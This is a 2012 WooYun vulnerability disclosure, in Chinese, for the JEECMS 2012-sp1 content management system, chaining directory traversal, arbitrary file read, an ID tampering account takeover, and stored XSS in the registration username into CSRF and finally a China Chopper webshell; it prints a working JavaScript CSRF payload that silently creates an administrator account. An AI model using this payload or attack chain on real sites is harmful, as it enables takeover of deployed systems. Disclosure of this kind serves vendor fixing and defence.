当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-016204

漏洞标题:国内强大的Jeecms变形记,小小的xss变种到csrf在变种webshell(jeecms漏洞大集合)

相关厂商:江西金磊科技发展有限公司

漏洞作者: shack2

提交时间:2012-12-19 10:09

修复时间:2013-02-02 10:09

公开时间:2013-02-02 10:09

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-12-19: 细节已通知厂商并且等待厂商处理中
2012-12-24: 厂商已经确认,细节仅向厂商公开
2012-12-27: 细节向第三方安全合作伙伴开放
2013-02-17: 细节向核心白帽子及相关领域专家公开
2013-02-27: 细节向普通白帽子公开
2013-03-09: 细节向实习白帽子公开
2013-02-02: 细节向公众公开

简要描述:

特迎接世界末日的到来,今晚花了4个小时去研究了一下jeecms,来看看一个xss如何变种webshell的
测试版本:jeecms-2012-sp1
官网:http://www.jeecms.com
jeecms这个基于java开发的cms系统无比强大,现在已开源,有很多政府,学校,商业机构在使用,危害还是相当的大
白帽子们,拿出你们的末日day,放出来吧

详细说明:

我们直接进入主题
1.跨目录,跨权限,跨妹子
到jeecms官网演示站后台,瞧一瞧,目测到跨目录问题
直接浏览服务器根目录

a.jpg


由于家里网速较卡,而且官网演示站,很多功能被限制,我下载到本地搭建环境测试,继续
任意文件下载

.jpg


任意文件读取

d.jpg


2.这个我也不知道咋回事,我真的不知道,怎么可以修改别人的密码
创建一个res管理员

r_0.jpg


只能查看管理自己这个账号

r_1.jpg


拦截数据库包修改
将我自己这个管理员的编号id 8 修改成admin的id 1

r_2.jpg


r_3.jpg


发包,尼玛世界末日来了,我看见admin那妹子的账号了

r_4.jpg


昨天约妹子,和我吃个饭,不刁我的,看我改你密码,嘿嘿

r_5.jpg


登录一下妹子的账号admin

r_6.jpg


哈哈,成功进入,这下妹子,肯定要主动请我吃饭了,嘎嘎

r_8.jpg


好吧,我又在yy了,屌丝伤不起,活跃下气氛
go on........
3.我在思考
我在思考,这些东西的利用条件都要知道后台管理账号密码,利用还是比较困难
于是我想利用前段的留言评论,看能不能xss或者csrf
最后测试了一下,都过滤了,我伤心了
4.奇迹出现,大战即将开始
到前台看了下,到前台,必看注册
我还是在想xss妹子,最近找她太多,她烦我了,今天碰碰运气,看她理我不
这回我才xss妹子藏在注册用户名上

xss_0.jpg


果断burpsuite拦截数据,将xss妹子请出来

xss_1.jpg


奇迹,这次xss妹子,出来见我了

xss_2.jpg


xss妹子,还在后台分身和admin妹子开玩笑

xss_3.jpg


xss_3_0.jpg


xss妹子说躲在后面给我把admin妹子骗过来,我太兴奋了,看了一下长度100
嘎嘎,天助我泡妹子耶

xss_4.jpg


xss妹子说,光她一个人拿不下admin妹子,叫我喊csrf妹子来帮忙
但是csrf妹子说了叫我摸清后面添加管理员或者,修改管理妹子的基本参数和提交方法(get,post)
于是我去摸摸底
找到了,添加管理的,基本参数,请求方法

xss_csrf_1.jpg


于是为了进去后台拿下管理妹子,我写了一个javascript post提交,添加管理

xss_csrf_1_1.jpg


<script type="text/javascript">
var xmlHttp=null;
function createXMLHttpRequest(){
if(window.XMLHttpRequest){
xmlHttp=new XMLHttpRequest();
}
else{
try{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");

}catch(ex){

xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
}
}

function sendRequest(){
//1.创建请求
if(xmlHttp==null)
{

createXMLHttpRequest();
}
var data="username=csrf&email=csrf@shack2.org&password=csrf&groupId=1&rank=5&realname=&gender=&selfAdmin=false&viewonlyAdmin=false&roleIds=1&siteIds=1&steps=1&allChannels=true";
xmlHttp.open("post","/jeeadmin/jeecms/admin_global/o_save.do",true);
//3.发送请求
xmlHttp.setRequestHeader("Context-Type","application/x-www-form-urlencoded");
xmlHttp.send(data);

}
</script>


哎,好久没写javascript,有点生疏了
写好,上传到了我的博客,待会调用
这里我就忽悠管理妹子,说我的密码忘了,还怎么怎么的,让他看会员管理,只要看了,就中招

xss_csrf_2.jpg


成功打入妹子内部

xss_csrf_3.jpg


5.拿到妹子整个系统控制权(webshell)
前面我们已经知道后台有任意文件下载,任意文件读取
其实这里还有任意文件上传,任意文件修改
由于有人作怪,把所有jsp请求全拦截了
所以我们要修改她的大脑web.xml
这里以前也有基友发过
WooYun: JEECMS后台任意文件编辑漏洞and官方漏洞及拿shell
开始利用模版管理跨目录,修改web.xml

shell_1.jpg


去掉对jsp的过滤器

shell_2.jpg


再就是突破文件上传
这里模版功能很强大,上传jsp文件html后缀,然后改名成jsp后缀
利用跨目录,上传菜刀马儿到根目录

shell_3.jpg


菜刀连接我的妹子

shell_4.jpg


ok,终于控制到了我的妹子了
哎,重8点熬到现在,1点,5个小时
只求妹子,没妹子,求rank

漏洞证明:

菜刀连接我的妹子

shell_4.jpg


ok,终于控制到了我的妹子了
哎,重8点熬到现在,1点,5个小时
只求妹子,没妹子,求rank

修复方案:

jeecms开源精神很好,希望再接再厉做好网站安全
建议在目录控制过滤掉../不让非跨目录读取
跨站xss没有过滤好,用户名这个这个地方,先别说跨后台管理妹子,跨其他用户也很爽额

版权声明:转载请注明来源 shack2@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2012-12-24 00:19

厂商回复:

CNVD根据白帽子提供的本地测试信息,尝试通过互联网方式远程测试,暂未在相关实例上复现。不过根据本地测试信息可以认定在有权限的情况下可以确认所述多种类型漏洞,已在21号由CNVD直接联系软件生产厂商。根据处置情况看是否通报相关用户。
按需要用户认证,多种类型漏洞进行综合评判,rank 14

最新状态:

暂无